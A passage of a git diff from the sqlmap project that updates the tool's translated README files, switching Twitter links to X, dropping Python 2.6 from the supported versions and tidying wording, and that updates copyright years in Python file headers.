* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md
index cea39991794..f114168410d 100644
--- a/doc/translations/README-nl-NL.md
+++ b/doc/translations/README-nl-NL.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen.
@@ -20,7 +20,7 @@ Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmappr
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**.
+sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**.
Gebruik
----
@@ -45,6 +45,6 @@ Links
* Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues
* Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md
index 745af21e53d..e7b145e96b8 100644
--- a/doc/translations/README-pl-PL.md
+++ b/doc/translations/README-pl-PL.md
@@ -1,10 +1,10 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
+sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
-Zrzuty ekranowe
+Zrzuty ekranu
----

@@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
+do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej.
Sposób użycia
----
@@ -33,18 +33,18 @@ Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia:
python sqlmap.py -hh
-Przykładowy wynik działania dostępny jest [tutaj](https://asciinema.org/a/46601).
-Aby uzyskać listę wszystkich dostępnych funkcji, parametrów i opisów ich działania wraz z przykładami użycia sqlmap proponujemy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+Przykładowy wynik działania można znaleźć [tutaj](https://asciinema.org/a/46601).
+Aby uzyskać listę wszystkich dostępnych funkcji, parametrów oraz opisów ich działania wraz z przykładami użycia sqlmap zalecamy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Odnośniki
----
* Strona projektu: https://sqlmap.org
-* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues
+* Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues
* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
-* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md
index a658ee0c04e..9f5ebfd9938 100644
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
@@ -20,7 +20,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
+sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas.
Como usar
----
@@ -45,6 +45,6 @@ Links
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md
index 6c5bb2c67f1..e130727feaa 100644
--- a/doc/translations/README-rs-RS.md
+++ b/doc/translations/README-rs-RS.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproj
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
+sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
Korišćenje
----
@@ -45,6 +45,6 @@ Linkovi
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md
index 634a4488adc..38147222530 100644
--- a/doc/translations/README-ru-RU.md
+++ b/doc/translations/README-ru-RU.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
@@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
+sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе.
Использование
----
@@ -45,6 +45,6 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md
index 1adc31000cc..d673b3e3aa8 100644
--- a/doc/translations/README-sk-SK.md
+++ b/doc/translations/README-sk-SK.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení.
@@ -20,7 +20,7 @@ Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproj
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.6**, **2.7** a **3.x** na akejkoľvek platforme.
+sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme.
Využitie
----
@@ -45,6 +45,6 @@ Linky
* Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues
* Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
\ No newline at end of file
diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md
index 5951d109e52..46e5267e9e0 100644
--- a/doc/translations/README-tr-TR.md
+++ b/doc/translations/README-tr-TR.md
@@ -1,8 +1,8 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır.
+sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi işlevleri de barındırmaktadır.
Ekran görüntüleri
@@ -17,13 +17,13 @@ Ekran görüntüleri
Kurulum
----
-[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz.
+[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipball'ı indirebilirsiniz.
Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
+sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
Kullanım
----
@@ -37,17 +37,17 @@ Bütün seçenekleri gösterir
python sqlmap.py -hh
-Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz
+Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz
Bağlantılar
----
* Anasayfa: https://sqlmap.org
-* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) veya [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md
index d7fd412bc63..ab7814676b1 100644
--- a/doc/translations/README-uk-UA.md
+++ b/doc/translations/README-uk-UA.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання.
@@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі.
+sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.7** та **3.x** на будь-якій платформі.
Використання
----
@@ -45,6 +45,6 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md
index 61fccfe4b92..ceb2724552d 100644
--- a/doc/translations/README-vi-VN.md
+++ b/doc/translations/README-vi-VN.md
@@ -1,16 +1,16 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với
-một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa.
+sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với
+một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa.
Ảnh chụp màn hình
----

-Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng có thể tìm thấy trong wiki.
+Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nơi trình bày một số tính năng có thể tìm thấy trong wiki.
Cài đặt
----
@@ -18,25 +18,25 @@ Cài đặt
Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master).
-Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap):
+Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì hệ điều hành nào.
+sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ điều hành nào.
Sử dụng
----
-Để có được danh sách các tùy chọn cơ bản, hãy sử dụng:
+Để có được danh sách các tùy chọn cơ bản và switch, hãy chạy:
python sqlmap.py -h
-Để có được danh sách tất cả các tùy chọn, hãy sử dụng:
+Để có được danh sách tất cả các tùy chọn và switch, hãy chạy:
python sqlmap.py -hh
-Bạn có thể xem video chạy thử [tại đây](https://asciinema.org/a/46601).
-Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
+Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601).
+Để có cái nhìn tổng quan về sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
Liên kết
----
@@ -44,9 +44,9 @@ Liên kết
* Trang chủ: https://sqlmap.org
* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues
+* Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues
* Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md
index 7bff7213503..b065c10a0fa 100644
--- a/doc/translations/README-zh-CN.md
+++ b/doc/translations/README-zh-CN.md
@@ -1,26 +1,26 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。
+sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
演示截图
----

-你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的演示
+你可以查看 wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解各种用法的示例
安装方法
----
-你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码.
+你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的源代码,或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的源代码.
-推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码:
+推荐直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上
+sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 **3.x** 版本的任何平台上
使用方法
----
@@ -33,17 +33,17 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.
python sqlmap.py -hh
-你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
+你可以从 [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取 sqlmap 所有支持的特性、参数、命令行选项开关及详细的使用帮助。
链接
----
* 项目主页: https://sqlmap.org
* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
-* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Commit的 RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues
* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/extra/__init__.py b/extra/__init__.py
index 8476fab2f94..bcac841631b 100644
--- a/extra/__init__.py
+++ b/extra/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py
index 8476fab2f94..bcac841631b 100644
--- a/extra/beep/__init__.py
+++ b/extra/beep/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
